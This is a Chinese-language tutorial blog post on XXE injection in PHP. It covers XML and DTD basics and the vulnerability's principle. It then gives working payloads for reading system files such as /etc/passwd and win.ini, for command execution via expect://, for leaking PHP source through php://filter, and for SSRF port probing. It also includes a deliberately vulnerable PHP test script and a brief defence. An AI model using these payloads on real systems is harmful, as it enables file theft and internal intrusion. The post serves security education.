XXE漏洞

1. XXE概述

XXE(XML External Entity Injection)即XML外部实体注入。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。

可以造成危害

  • 文件读取
  • ssrf
  • dos
  • 命令执行

XML基础介绍

XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储。

下面我们主要介绍PHP语言下的XXE攻击.

基本结构

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!--XML声明-->
<?xml version="1.0"?>

<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT heading (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>

<!--文档元素-->
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

DTD

文档类型定义(DTD)

可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

  • 内部的 DOCTYPE 声明

    1
    <!DOCTYPE 根元素 [元素声明]>
  • 外部文档声明

    1
    <!DOCTYPE 根元素 SYSTEM ”文件名”>

内部声明的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>KK</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

最外部引用的例子

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "waibu.dtd">
<note>
<to>KK</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

waibu.DTD 被引用的内容为

1
2
3
4
5
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

漏洞原理

XXE 即 XML外部实体注入 。

我们先分别理解一下注入和外部实体的含义。

  • 注入:是指XML数据在传输过程中被修改,导致服务器执行了修改后的恶意代码,从而达到攻击目的。
  • 外部实体:则是指攻击者通过利用外部实体声明部分来对XML数据进行修改、插入恶意代码。

所以XXE就是指XML数据在传输过程中利用外部实体声明部分的“SYSTEM”关键词导致XML解析器可以从本地文件或者远程URI中读取受保护的数据。

主流的漏洞payload

任意文件读取

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY fff SYSTEM "file:///etc/passwd">
]>

<hhh>&fff;</hhh>

命令执行

这种情况很少发生,但在配置不当/开发内部应用情况下(PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上),攻击者能够通过XXE执行代码。

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "expect://id">
]>

<hhh>&f;<hhh>

SSRF内网探测

我们要根据返回信息内容判断该端口是否打开。

主要是根据报错信息的差异来判断是否生效

若测试端口返回“Connection refused”则可以知道该端口是关闭的,否则为就是打开的。

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY ssrf SYSTEM "http://192.168.246.136:80">
]>

<reset>
<login>&ssrf;</login>
<secret>ssrf?</secret>
</reset>

简单的测试代码

1
2
3
4
5
<?php
$data = isset($_POST['data'])?trim($_POST['data']):'';
$xml = simplexml_load_string($data,"SimpleXMLElement",LIBXML_NOENT);
var_dump($xml)
?>

注意:自己写个html提交表单把,我的环境是 win7+phpstudy

任意文件读取payload

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "file:///C:/Windows/win.ini">
]>
<note>
<name>&content;</name>
</note>

在这里插入图片描述

任意文件读取php文件payload

问题出在读代码地方,都有<>这种可能会把php文件当初xml给处理了,所以直接读取会直接报错。所以我们换一种协议,转化格式读取
最终可以导致源码泄露

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<note>
<name>&content;</name>
</note>

![在这里插入图片描述](/images/20200308115546147.png
解码后正确
在这里插入图片描述

SSRF内网探测payload

这个报错信息根据环境的不同,协议的不同报错方式都不一样,所以到底这个有没有打开得自行遍历查看异同,和报错信息判断

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "http://127.0.0.1:3306">
]>
<note>
<name>&content;</name>
</note>

防御XXE攻击

使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);